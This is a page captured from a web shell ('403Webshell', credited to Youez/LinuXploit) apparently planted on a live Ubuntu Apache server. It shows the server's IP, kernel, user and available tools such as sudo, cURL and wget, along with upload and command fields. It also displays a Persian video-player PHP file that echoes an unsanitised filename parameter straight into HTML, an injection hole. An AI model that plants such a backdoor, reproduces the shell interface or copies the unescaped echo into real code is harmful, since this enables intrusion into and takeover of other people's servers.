403Webshell
Server IP : 45.94.215.241  /  Your IP : 216.73.216.243
Web Server : Apache/2.4.66 (Ubuntu)
System : Linux srv2937474766 7.0.0-28-generic #28-Ubuntu SMP PREEMPT_DYNAMIC Sun Jun 21 01:01:36 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/player/video/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/player/video/player.php
<?php
$filename=$_GET['filename'];
$info = pathinfo($filename);
$subtitle = $info['filename'] . ".vtt";
?>
<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
    <meta charset="UTF-8">
    <title>پخش ویدیو با زیرنویس SRT/VTT</title>
    <style>
        body {
            font-family: Tahoma, Arial, sans-serif;
            background-color: #f4f4f4;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        
        video {
            width: 80%;
            max-width: 800px;
            box-shadow: 0 4px 8px rgba(0,0,0,0.2);
            border-radius: 8px;
        }

        /* استایل‌دهی به زیرنویس‌ها برای نمایش صحیح فارسی */
        ::cue {
            background-color: rgba(0, 0, 0, 0.75);
            color: #ffffff;
            font-family: Tahoma, 'Segoe UI', Arial, sans-serif;
            font-size: 1.5em;
            direction: rtl;
            unicode-bidi: bidi-override;
            text-align: right;
        }
        
        /* برای مرورگرهایی که ::cue را کامل پشتیبانی نمی‌کنند */
        .vtt-track-fix {
            direction: rtl;
        }
    </style>
</head>
<body>

    <video id="myVideo" controls playsinline>
        <source src="tracks/<?php echo $filename; ?>" type="video/mp4" />
        
        <!-- 
            لینک به فایل زیرنویس جداگانه
            kind="subtitles" برای زیرنویس متنی
            srclang="fa" زبان فارسی
            label="فارسی" نامی که کاربر می‌بیند
            default باعث می‌شود از ابتدا روشن باشد
        -->
        <track 
            kind="subtitles" 
            src="tracks/<?php echo $subtitle; ?>" 
            srclang="fa" 
            label="فارسی" 
            default
        />
        
        <p>مرورگر شما از پخش ویدیو پشتیبانی نمی‌کند.</p>
    </video>

    <script>
        // اسکریپت کمکی برای اطمینان از نمایش صحیح زیرنویس
        document.addEventListener('DOMContentLoaded', function() {
            const video = document.getElementById('myVideo');
            
            // اضافه کردن رویداد برای تغییر زبان زیرنویس (اختیاری)
            video.addEventListener('loadedmetadata', function() {
                const tracks = video.textTracks;
                if (tracks.length > 0) {
                    // فعال‌سازی زیرنویس فارسی
                    tracks[0].mode = 'showing';
                }
            });
        });
    </script>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit